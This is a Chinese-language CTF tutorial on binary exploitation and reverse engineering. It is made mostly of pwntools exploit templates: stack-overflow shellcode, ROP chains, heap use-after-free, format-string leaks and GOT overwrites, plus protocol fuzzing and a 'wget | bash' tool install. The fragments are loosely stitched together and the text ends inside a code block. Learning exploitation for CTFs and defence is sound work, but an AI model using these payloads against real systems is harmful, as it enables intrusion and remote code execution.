152_Pwn与逆向工程混合挑战：从二进制分析到漏洞利用的实战指南

# 安装基础工具
sudo apt-get update
sudo apt-get install -y build-essential gdb git python3 python3-pip

# 安装pwntools
pip3 install pwntools

# 安装Ghidra（需从官网下载）
# 安装GEF
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | bash

# 安装Ropper
pip3 install ropper

// Ghidra反编译示例（伪代码）
int main(int argc, char **argv) {
  if (argc < 2) {
    printf("Usage: %s <input>\n", argv[0]);
    return 1;
  }
  
  char buffer[64];
  gets(buffer);  // 存在栈溢出漏洞
  
  if (check_security(buffer)) {
    printf("Access granted!\n");
    secure_function();
  } else {
    printf("Access denied!\n");
  }
  
  return 0;
}

# 启动调试
gdb ./target_binary

# GEF命令示例
b *main      # 在main函数设置断点
r           # 运行程序
p $eip      # 打印指令指针
x/s $esp    # 查看栈顶字符串
pattern create 100  # 创建pattern用于确定偏移量
x/100gx $esp  # 以16进制格式查看栈内存

寄存器用途：
- EIP/RIP: 指令指针，指向下一条要执行的指令
- ESP/RSP: 栈指针，指向栈顶
- EBP/RBP: 基址指针，用于访问栈上的局部变量
- EAX/RAX: 累加器，常用于函数返回值

from pwn import *

# 设置目标
p = process('./vulnerable_binary')
# 或远程连接
# p = remote('target.com', 1337)

# 确定偏移量（通过pattern和崩溃分析）
offset = 120

# 获取shellcode或构造ROP链
shellcode = asm(shellcraft.sh())

# 构造payload
payload = b'A' * offset + p64(shellcode_address)

# 发送payload
p.sendline(payload)

# 交互式shell
p.interactive()

from pwn import *
from ropper import RopperService

# 获取gadget
ropper = RopperService()
ropper.addFile('./vulnerable_binary')
ropper.loadGadgetsFor()

# 查找关键gadget
pop_rdi = ropper.searchgadget(['pop rdi', 'ret'])[0].address
pop_rsi_r15 = ropper.searchgadget(['pop rsi', 'pop r15', 'ret'])[0].address
ret_gadget = ropper.searchgadget(['ret'])[0].address

# 构造ROP链
rop_chain = flat(
    pop_rdi, bin_sh_address,
    ret_gadget,  # 栈对齐
    system_address,
)

# 完整payload
payload = b'A' * offset + rop_chain

from pwn import *

p = process('./heap_vulnerable')

# 分配两个chunk
p.sendline(b'1')  # 分配chunk1
p.sendline(b'10')  # size
p.sendline(b'AAAA')  # data

p.sendline(b'1')  # 分配chunk2
p.sendline(b'10')  # size
p.sendline(b'BBBB')  # data

# 释放chunk1，此时chunk1被放入fastbin
p.sendline(b'3')  # 释放操作
p.sendline(b'0')  # chunk1索引

# 分配一个伪造的chunk，其内容为目标函数地址
p.sendline(b'1')  # 分配操作
p.sendline(b'10')  # size
p.sendline(p64(system_address))  # 伪造的函数地址

# 调用被释放的chunk1，触发UAF，执行system
p.sendline(b'2')  # 调用操作
p.sendline(b'0')  # chunk1索引

p.interactive()

# 分析发现的密钥或算法
def solve_stage1():
    # 逆向得到的认证逻辑
    key = b"correct_key"
    return key

# 在获得第一阶段访问权限后利用漏洞
def exploit_stage2(p):
    # 构造ROP链或shellcode
    payload = b'A' * 104 + p64(shellcode_addr)
    p.sendline(payload)

def get_flag(p):
    p.sendline(b'cat flag.txt')
    flag = p.recvline().decode().strip()
    return flag

# 使用pwntools分析协议
def analyze_protocol():
    p = process('./custom_protocol_server')
    
    # 发送不同的请求并观察响应
    p.send(b'\x01\x05hello')
    response = p.recv(100)
    print(f"Response: {response.hex()}")
    
    # 分析协议格式和字段含义

# 使用模糊测试发现漏洞
def fuzz_protocol():
    for i in range(100):
        p = process('./custom_protocol_server')
        # 发送超长或特殊格式的数据
        p.send(b'\x02' + b'A' * (i * 10))
        try:
            p.recv(timeout=1)
        except EOFError:
            print(f"Potential crash at length {i*10}")

# 利用发现的漏洞
def exploit_protocol():
    p = remote('target.com', 4444)
    
    # 构造利用payload
    payload = b'\x03' + b'A' * 200 + p64(shellcode_addr)
    p.send(payload)
    
    # 获取shell
    p.interactive()

# 使用pwntools的GDB子模块绕过调试检测
from pwn import *

# 设置调试环境
env = {
    'LD_PRELOAD': './anti_anti_debug.so'
}

p = process('./target', env=env)

# 或使用gdb.attach在适当的时机附加调试器
gdb.attach(p, '''
break *0x400600
continue
''')

# 利用格式化字符串漏洞泄漏栈内存
def leak_stack(p):
    p.recvuntil(b'> ')
    p.sendline(b'AAAA' + b'%p ' * 20)  # 发送格式化字符串
    response = p.recvline()
    
    # 解析泄漏的内存地址
    leaks = response.split(b'AAAA')[1].split()
    addresses = [int(leak, 16) for leak in leaks if leak.startswith(b'0x')]
    
    return addresses

# 泄漏libc基址
def leak_libc_base(p):
    # 假设已经找到了一个格式化字符串漏洞
    p.recvuntil(b'> ')
    # 使用%7$s等格式化符泄漏特定地址的内容
    p.sendline(b'%7$s' + p64(got_address))  # got_address是要泄漏的GOT表项地址
    
    libc_addr = u64(p.recv(6).ljust(8, b'\x00'))
    libc_base = libc_addr - libc_offset  # libc_offset是已知的函数在libc中的偏移
    
    return libc_base

# 使用格式化字符串漏洞覆盖GOT表
def overwrite_got(p, target_func, replace_with):
    # 计算写入地址和值
    got_addr = got[target_func]  # 目标函数的GOT表项地址
    target_addr = replace_with  # 要替换为的地址
    
    # 构造格式化字符串payload，分阶段写入地址
    payload = b''
    # 写入低32位
    payload += fmtstr_payload(offset, {got_addr: target_addr & 0xffffffff})
    p.sendline(payload)
    
    # 写入高32位（64位系统）
    if arch == 'amd64':
        payload = fmtstr_payload(offset, {got_addr+4: (target_addr >> 32) & 0xffffffff})
        p.sendline(payload)

gcc -fstack-protector-strong -Wl,-z,relro,-z,now -fPIE -pie -o secure_binary source.c

# 安装开发和调试工具
sudo apt-get install -y build-essential gdb git python3-pip valgrind

# 安装安全分析工具
pip3 install pwntools angr

# 在编译时保留调试信息

## 七、实战案例分析

### 7.1 CTF比赛实例：逆向分析+栈溢出

**挑战描述**：某CTF比赛中的一道题目，要求参赛者逆向分析一个自定义的加密程序，然后利用其中的栈溢出漏洞获取shell。

**解决方案**：

1. **逆向分析**：
 - 使用Ghidra分析程序，发现加密算法是一个简单的异或操作
 - 识别出验证逻辑中的栈溢出漏洞

2. **漏洞利用**：
 ```python
 from pwn import *

 # 设置目标
 p = remote('ctf.example.com', 4000)

 # 分析得到的偏移量
 offset = 140

 # 获取shellcode
 shellcode = asm(shellcraft.sh())

 # 构造payload
 payload = shellcode.ljust(offset, b'A') + p64(0x00400700)  # 返回地址指向shellcode

 # 发送payload
 p.recvuntil(b'Enter password:')
 p.sendline(payload)

 # 获取shell
 p.interactive()